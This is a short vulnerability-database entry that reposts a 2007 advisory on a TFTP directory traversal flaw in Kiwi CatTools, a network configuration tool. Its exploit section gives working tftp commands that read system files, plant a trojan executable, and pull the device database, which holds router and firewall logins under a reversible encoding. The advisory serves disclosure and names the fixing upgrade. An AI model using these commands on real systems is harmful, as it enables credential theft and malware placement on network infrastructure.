TFTP directory traversal in Kiwi CatTools

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053054 漏洞类型
发布时间 2007-02-14 更新时间 2007-02-14
CVE编号 CVE-2007-0889
CVE-2007-0888
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007020040
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
	TFTP directory traversal in Kiwi CatTools

Application : Kiwi CatTools prior to 3.2.0 beta
Release Date : 8 February 2007
Author : Nicob <nicob at nicob.net>

Product :
=========

http://www.kiwisyslog.com/cattools-info.php :

"Kiwi CatTools is a freeware application that provides automated device
configuration management on routers, switches and firewalls."

A built-in TFTP server exists and a "encrypted device database" contains
IP addresses, logins and passwords for each configured device.

Vunerability :
==============

TFTP directory traversal :

tftp -i 10.11.12.13 GET a//..//..//..//..//..//boot.ini
tftp -i 10.11.12.13 PUT foo.exe a//..//trojan.exe

Note : the device database is only protected by a reversible encoding
and can be remotely accessed with "GET a//..//..//kiwidb-cattools.kdb".

Solution :
==========

Upgrade to version 3.2.0 beta or newer.

Nicob